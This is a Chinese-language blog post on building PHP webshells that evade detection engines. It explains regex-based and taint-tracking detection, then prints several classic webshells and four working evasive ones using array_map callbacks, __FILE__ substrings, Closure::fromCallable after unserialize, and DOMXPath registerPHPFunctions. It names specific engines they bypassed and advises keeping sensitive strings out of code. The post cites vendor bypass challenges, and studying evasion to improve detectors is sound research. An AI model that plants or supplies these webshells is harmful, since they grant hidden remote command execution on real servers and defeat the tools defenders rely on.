主頁 >  其他 > 利用PHP的特性做免殺Webshell

利用PHP的特性做免殺Webshell

2022-08-06 09:53:01 其他

0x01 前言

最近很多家廠商都陸續開放了自己的Webshell檢測引擎,并且公開介面,邀請眾安全研究員參加嘗試bypass檢測引擎,并且給予獎勵,我也參加了幾場類似的活動,有ASRC伏魔計劃,也有TSRC獵刃計劃,還有最近正在進行的長亭牧云(Aka.關山)Webshell檢測引擎,如果你都參加或者關注了這三個比賽,你會發現他們都提到了以下幾個技術:

1、詞法分析
2、污點追蹤
3、惡意代碼檢測

這些新技術我們后面的章節中,我們先講一下傳統的Webshell檢測機制,再對照著最新的Webshell檢測技術來說明一下如何在新技術下做免殺Webshell(本文所有Webshell基于PHP語言)

0x02 傳統Webshell檢測

傳統的Webshell檢測技術主要依賴于字串的正則特征,在面對于已知的樣本可以做到高準確率檢測,在長時間的樣本收取下,也可以做到滿足日常運維中的Webshell檢測,舉幾個經典的Webshell樣本

1、經典一句話Webshell

<?php eval($_GET['cmd']);?>

2、反序列化Webshell

<?php
    Class H3{
  function __destruct(){
    eval($this->c);
  }
}
$a= new H3;
$a->c = $_GET['cmd'];

3、無字母Webshell

<?php
 $_ = 97;
 $__ = 97 + 18; //s
 $___ = $__ + 6; //y
 $____ = $__ + 1; //t
 $_____ = $_ + 4; //e
 $______ = $__ - 6; //m
?
$res = chr($__).chr($___).chr($__).chr($____).chr($_____).chr($______);
$_= $_POST['cmd'];
$res($_);

但是對于當下的技術發展,黑客們可以更加精心的撰寫Webshell來"騙"過傳統的Webshell檢測機制,而且Webshell易變形,在面對0day樣本的時候,傳統Webshell檢測就會效果欠佳,也就需要更加全面的手段來與其抗衡

0x03 新型Webshell檢測

對于現如今的情況下,傳統的Webshell檢測對于0day樣本的檢測效率已經不是特別好了,所以這時候就需要一種"主動"的檢測方式,能夠讓引擎主動去理解腳本、分析樣本,發現樣本中的惡意行為,而不是依靠人工來添加Webshell特征,

1、污點追蹤

舉個例子,對于一個Webshell來說,如果要進行任意命令執行,就一定要獲取外界資料,對于PHP來說也就是$_GET$_POST來接受資料,而要想任意命令執行,這些接收到的資料也就一定要最終傳遞到evalsystem等函式中,而污點追蹤技術就是利用這一點,如果樣本中的外界變數通過不斷傳遞,最終進入到危險函式中,那基本上就可以斷定為Webshell,將外界變數視為污點源,危險函式視為污點匯聚點,跟蹤污點傳播程序,判斷污點變數是否被洗白,最終是否進入污點匯聚點,畫一個流程圖如下:

污點追蹤.png

2、詞法分析

檢測引擎會將各種腳本語言進行詞法語法分析,然后構建控制流圖和資料流圖,并在圖上跟蹤外界污點變數的傳遞,使用外界變數是WebShell非常重要的特征,如果發現外界變數最終進入了命令執行函式,就可以判斷為Webshell,

640.png

引擎可以將傳統的條件、回圈、函式、物件的靜態分析,目前還可以支持動態變數名、箭頭函式、反射、回呼等動態特性的分析,大大的強化的未知樣本的檢測成功率,

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

3、加密還原

在此之前我們的Webshell常用的繞過檢測的方法就是通過加密來繞過,例子如下:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
?
$_=$$____;
$___(base64_decode($_[_])); // ASSERT($_POST[_]);

該樣本利用了混淆和加密兩種技術,但是現如今的檢測引擎都具備有對市面上的大部分PHP加密混淆進行“脫殼”和利用動態分析PHP執行器進行虛擬執行,將混淆加密的代碼進行動態還原,解密后混淆和加密相當于明文傳輸,再利用污點追蹤技術和動靜態結合分析即可大大的提高檢測率,并且能夠有效減小誤報率,同時也讓這種在之前百試不爽的技巧無法使用,

0x04 如果Bypass掉新型檢測引擎

我們要知道原理就可以想辦法如何“蒙騙“住檢測引擎,如果大家研究過,或者說親身參與到了bypass挑戰賽中,就能感受到無論是動靜態還是什么技術,最后都是根據污點追蹤法則來進行檢測,污點追蹤的流程在上一節提到了,目前我們有兩個方法:

1、利用PHP中其他的命令執行的方法,讓檢測引擎識別不出這是污點匯集點

2、打斷污點追蹤的程序,讓污點匯集點不落地

拿出一個樣本我們來結合代碼說明(以下樣本分別bypass的引擎會標注出來,截止筆者寫這篇的文章的時候只有牧云webshell檢測引擎正在開啟)

樣本1

<?php
//ASRC伏魔引擎bypass
$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
$a = join($result);
array_map($a,(array)$_REQUEST['1']);
?>

講一下原理,首先我們需要利用技巧(PHP本身的特性),來阻斷污點追蹤的程序,我在fuzz測驗的時候發現了array_map()這個函式存在callback并且能夠逃避檢測

image-20220801175154343.png

那么首先的能夠bypass的污點匯集點已經有了,接下里來就是尋找其他函式來將變數"洗白",我選擇了array_diff()

image-20220801174825422.png

這樣就可以利用該函式拼湊出一個system函式,再利用array_map()callback來做命令執行

結果如下:

image-20220801175804957.png

這樣就完成了最簡單的一次bypass

樣本2

<?php
//bypass 牧云 檔案名需要設定為system
$filename=substr(__FILE__,-10,6);
$command=$_POST[1];
$filename($command);

__FILE__是PHP的一個魔術常量,它會回傳當前執行PHP腳本的完整路徑和檔案名,我們利用substr()函式逆著截取,就能獲得system再利用變數做函式的方式,打斷了污點追蹤的程序,進行命令執行,也可以成功bypass掉牧云引擎,

結果如下:

image-20220801210052872.png

牧云引擎檢測結果如下:

image-20220801210000827.png

樣本3

<?php
//bypass 牧云 and TAV反病毒引擎+洋蔥惡意代碼檢測引擎
class A{
    public function __construct(){}
?
    public function __wakeup(){
        $b = $_GET[1];
        $result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
        $a = join($result);
        Closure::fromCallable($a)->__invoke($_REQUEST[2]);
    }
}
?
@unserialize('O:1:"A":1:{s:10:" A comment";N;}');

這個套了一層反序列化,隱藏污點匯集點的方法與樣本一相同,利用陣列差級構造system后利用原生類ClosurefromCallable函式

image-20220801213635370.png

進行命令執行(在牧云中array_diff(["s","a","b","ys","te","m"],["a","b"]);這種方式會被check,索性換成動態控制,這樣也能打斷污點追蹤)

結果如下:

image-20220801213944993.png

image-20220801214027664.png

image-20220801214223486.png

樣本4

<?php
// dom and xml needed, install php-xml and leave php.ini as default.
// Author:LemonPrefect
$cmd = $_GET[3];
$_REQUEST[1] = "//book[php:functionString('system', '$cmd') = 'PHP']";
$_REQUEST[2] = ["php", "http://php.net/xpath"];
$xml = <<< XML
<?xml version="1.0" encoding="UTF-8"?>
<books>
    <book>
        <title>We are the champions</title>
        <author>LemonPrefect</author>
        <author>H3h3QAQ</author>
    </book>
</books>
XML;
?
$doc = new DOMDocument;
$doc->loadXML($xml);
$clazz = (new ReflectionClass("DOMXPath"));
$instance = $clazz->newInstance($doc);
$clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]);
$clazz->getMethod("registerPHPFunctions")->invoke($instance);
$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);

該樣本需要一些條件,前提是開啟了php-xml拓展才可以,其原理就是用XML去注冊一個registerPHPFunctions,也就是我們想要執行的system再利用getClosure去觸發該方法而構成的webshell,其中即利用到了PHP的特性,利用registerNamespaceregisterPHPFunctions來中斷污點追蹤,從而RCE

結果如下:

image-20220801220915010.png

image-20220801220929751.png

0x05 總結

在構造Webshell的時候,我們如果知道Webshell檢測引擎原理,就知道如何去bypass了,對于怎樣過掉Webshell引擎這件事,需要開動腦筋多去找一下PHP的檔案,去找一下原生類和其他能夠中斷污點追蹤的方法,讓引擎跟蹤不到你的行為,而且盡量不要讓敏感字串出現在代碼本體,因為有的引擎還是有字串的正則特征檢測,同時也要學會分析,分析自己的Webshell到底哪里出的問題,從而找到更好的方法去替換,

更多靶場實驗練習、網安學習資料,請點擊這里>>

 

搜索

復制

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/501073.html

標籤:其他

上一篇:centos 8 ubuntu20 安裝及搭建lamp環境程序,以及docker,python,dvwa全程序(個人實測)

下一篇:HCIA學習筆記八:子網掩碼劃分

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more